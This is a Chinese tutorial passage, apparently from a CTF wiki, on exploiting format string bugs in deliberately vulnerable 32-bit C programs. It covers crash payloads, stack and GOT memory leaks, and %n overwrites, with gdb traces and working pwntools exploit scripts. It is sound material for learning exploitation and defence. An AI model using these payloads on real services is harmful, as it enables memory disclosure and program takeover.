跳转至

格式化字符串漏洞利用

其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段

  • 使程序崩溃,因为%s对应的参数地址不合法的概率比较大。
  • 查看进程内容,根据%d,%f输出了栈上的内容。

下面我们会对于每一方面进行更加详细的解释。

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个%s即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址
    • 盲打,dump整个程序,获取有用信息。

泄露栈内存

例如,给定如下程序

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

然后,我们简单编译一下

➜  leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
   printf(s);
          ^

可以看出,编译器指出了我们的程序中没有给出格式化字符串的参数的问题。下面,我们来看一下,如何获取对应的栈内存。

根据C语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数(64位会根据其传参的规则进行获取)。这里我们主要介绍32位。

获取栈变量数值

首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下,运行结果如下

➜  leakmemory git:(master) ✗ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb

可以看到,我们确实得到了一些内容。为了更加细致的观察,我们利用GDB来调试一下,以便于验证我们的想法,这里删除了一些不必要的信息,我们只关注代码段以及栈。

首先,启动程序,将断点下载printf函数处

➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330

之后,运行程序

gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%08x.%08x.%08x

此时,程序等待我们的输入,这时我们输入%08x.%08x.%08x,然后敲击回车,是程序继续运行,可以看出程序首先断在了第一次调用printf函数的位置

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.
────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd04│+0x18: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd08│+0x1c: 0x000000c2

可以看出,此时此时已经进入了printf函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的值,第四个变量为b的值,第五个变量为c的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序

gef➤  c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个printf处

Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28  in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x"$eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

此时,由于格式化字符串为%x%x%x,所以,程序 会将栈上的0xffffcd04及其之后的数值分别作为第一,第二,第三个参数按照int型进行解析,分别输出。继续运行,我们可以得到如下结果去,确实和想象中的一样。

gef➤  c
Continuing.
ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally]

当然,我们也可以使用%p来获取数据,如下

%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb

这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第n+1个参数的值呢?肯定是可以的啦。方法如下

%n$x

利用如下的字符串,我们就可以获取到对应的第n+1个参数的数值。为什么这里要说是对应第n+1个参数呢?这是因为格式化参数里面的n指的是该格式化字符串对应的第n个输出参数,那相对于输出函数来说,就是第n+1个参数了。

这里我们再次以gdb调试一下。

➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%3$x

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.

─────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  "%3$x"
0xffffcd04│+0x18: 0xffffcd10  →  "%3$x"
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%3$x

Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28  in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "%3$x"
0xffffcd04│+0x08: 0xffffcd10  →  "%3$x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%3$x"$eax
0xffffcd14│+0x18: 0xffffce00  →  0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]

可以看出,我们确实获得了printf的第4个参数所对应的值f7e8b6bb。

获取栈变量对应字符串

此外,我们还可以获得栈变量对应的字符串,这其实就是需要用到%s了。这里还是使用上面的程序,进行gdb调试,如下

➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.
────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%s

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)$eax
0xffffcd14│+0x18: 0xffffce3c  →  0xffffd074  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
%s[Inferior 1 (process 57488) exited normally]

可以看出,在第二次执行printf函数的时候,确实是将0xffffcd04处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。

当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。

此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定第printf的第3个参数,如下,此时程序就不能够解析,就崩溃了。

➜  leakmemory git:(master) ✗ ./leakmemory
%2$s
00000001.22222222.ffffffff.%2$s
[1]    57534 segmentation fault (core dumped)  ./leakmemory

小技巧总结

  1. 利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
  2. 利用%s来获取变量所对应地址的内容,只不过有零截断。
  3. 利用%order$x来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容。

泄露任意地址内存

可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。那么我们究竟能不能这样做呢?自然也是可以的啦。

我们再仔细回想一下,一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中s是main函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)$eax
0xffffcd14│+0x18: 0xffffce3c  →  0xffffd074  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0

可以看出在栈上的第二个变量就是我们的格式化字符串地址0xffffcd10,同时该地址存储的也确实是是"%s"格式化字符串内容。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第k个参数。那我们就可以通过如下的方式来获取某个指定地址addr的内容。

addr%k$s

注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址8字节或者16字节。

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

[tag]%p%p%p%p%p%p...

一般来说,我们会重复某个字符的机器字长来作为tag,而后面会跟上若干个%p来输出栈上的内容,如果内容与我们前面的tag重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符'A'作为特定字符,同时还是利用之前编译好的程序,如下

➜  leakmemory git:(master) ✗ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%

由0x41414141处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第5个参数,但是是格式化字符串的第4个参数。我们可以来测试一下

➜  leakmemory git:(master) ✗ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1]    61439 segmentation fault (core dumped)  ./leakmemory

可以看出,我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,,所以程序就崩溃了。具体的可以参考下面的调试。

 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd20  →  "%4$s"
0xffffcd14│+0x08: 0xffffcd20  →  "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: "%4$s"$eax
0xffffcd24│+0x18: 0xffffce00  →  0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤  help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char), s(string)
  and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".
gef➤  x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤  x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

显然0xffffcd20处所对应的格式化字符串所对应的变量值0x73243425并不能够被改程序访问,所以程序就自然崩溃了。

那么如果我们设置一个可访问的地址呢?比如说scanf@got,结果会怎么样呢?应该自然是输出scanf对应的地址了。我们不妨来试一下。

首先,获取scanf@got的地址,如下

这里之所以没有使用printf函数,是因为scanf函数会对0a,0b,0c,00等字符有一些奇怪的处理,,导致无法正常读入,,感兴趣的可以试试。。。。

gef➤  got

/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

下面我们利用pwntools构造payload如下

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

其中,我们使用gdb.attach(sh)来进行调试。当我们运行到第二个printf函数的时候(记得下断点),可以看到我们的第四个参数确实指向我们的scanf的地址,这里输出

  0xf7615670 <printf+0>       call   0xf76ebb09 <__x86.get_pc_thunk.ax>
     0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret
      0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffbbf8dc', 'l8']
8
0xffbbf8dc+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffbbf8e0+0x04: 0xffbbf8f0    0x0804a014    0xf76280c0    <__isoc99_scanf+0> push ebp
0xffbbf8e4+0x08: 0xffbbf8f0    0x0804a014    0xf76280c0    <__isoc99_scanf+0> push ebp
0xffbbf8e8+0x0c: 0x000000c2
0xffbbf8ec+0x10: 0xf765c6bb    <handle_intel+107> add esp, 0x10
0xffbbf8f0+0x14: 0x0804a014    0xf76280c0    <__isoc99_scanf+0> push ebp   $eax
0xffbbf8f4+0x18: "%4$s"
0xffbbf8f8+0x1c: 0x00000000

同时,在我们运行的terminal下

  leakmemory git:(master)  python exploit.py
[+] Starting local process './leakmemory': pid 65363
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804a014
\x14\xa0\x0%4$s
[*] running in new terminal: /usr/bin/gdb -q  "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory" 65363
[+] Waiting for debugger: Done
0xf76280c0
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 65363)
[*] Got EOF while reading in interactiv

我们确实得到了scanf的地址。

但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。

[padding][addr]

注意

我们不能直接在命令行输入\x0c\xa0\x04\x08%4$s这是因为虽然前面的确实是printf@got的地址,但是,scanf函数并不会将其识别为对应的字符串,而是会将\,x,0,c分别作为一个字符进行读入。下面就是错误的例子。

0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10   ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "\x0c\xa0\x04\x08%4$s"
0xffffcd04│+0x08: 0xffffcd10  →  "\x0c\xa0\x04\x08%4$s"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "\x0c\xa0\x04\x08%4$s"$eax
0xffffcd14│+0x18: "\xa0\x04\x08%4$s"
0xffffcd18│+0x1c: "\x04\x08%4$s"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd10 "\\x0c\\xa0\\x04\\x08%4$s")
[#1] 0x80484ce → Name: main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/x 0xffffcd10
0xffffcd10:   0x6330785c

覆盖内存

上面,我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢?答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。

这里我们给出如下的程序来介绍相应的部分。

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

makefile在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的payload

...[overwrite addr]....%[overwrite offset]$n

其中...表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

确定覆盖地址

首先,我们自然是来想办法知道栈变量c的地址。由于目前几乎上所有的程序都开启了aslr保护,所以栈的地址一直在变,所以我们这里故意输出了c变量的地址。

确定相对偏移

其次,我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试

 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7  →  <main+76> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd28  →  "%d%d"
0xffffcd14│+0x08: 0xffffcd8c  →  0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e  →  0xffff0000  →  0x00000000
0xffffcd24│+0x18: 0xffffce4c  →  0xffffd07a  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d"$eax

我们可以发现在0xffffcd28处存储着变量c的数值。继而,我们再确定格式化字符串'%d%d'的地址0xffffcd28相对于printf函数的格式化字符串参数0xffffcd10的偏移为0x18,即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第6个参数。

进行覆盖

这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下

[addr of c]%012d%6$n

addr of c 的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于来修改c的值为16。

具体脚本如下

def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print hex(c_addr)
    payload = p32(c_addr) + '%012d' + '%6$n'
    print payload
    #gdb.attach(sh)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

forc()

结果如下

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.

覆盖任意地址内存

覆盖小数字

首先,我们来考虑一下如何修改data段的变量为一个较小的数字,比如说,小于机器字长的数字。这里以2为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节。显然,无论之后如何输出,都只会比4大。

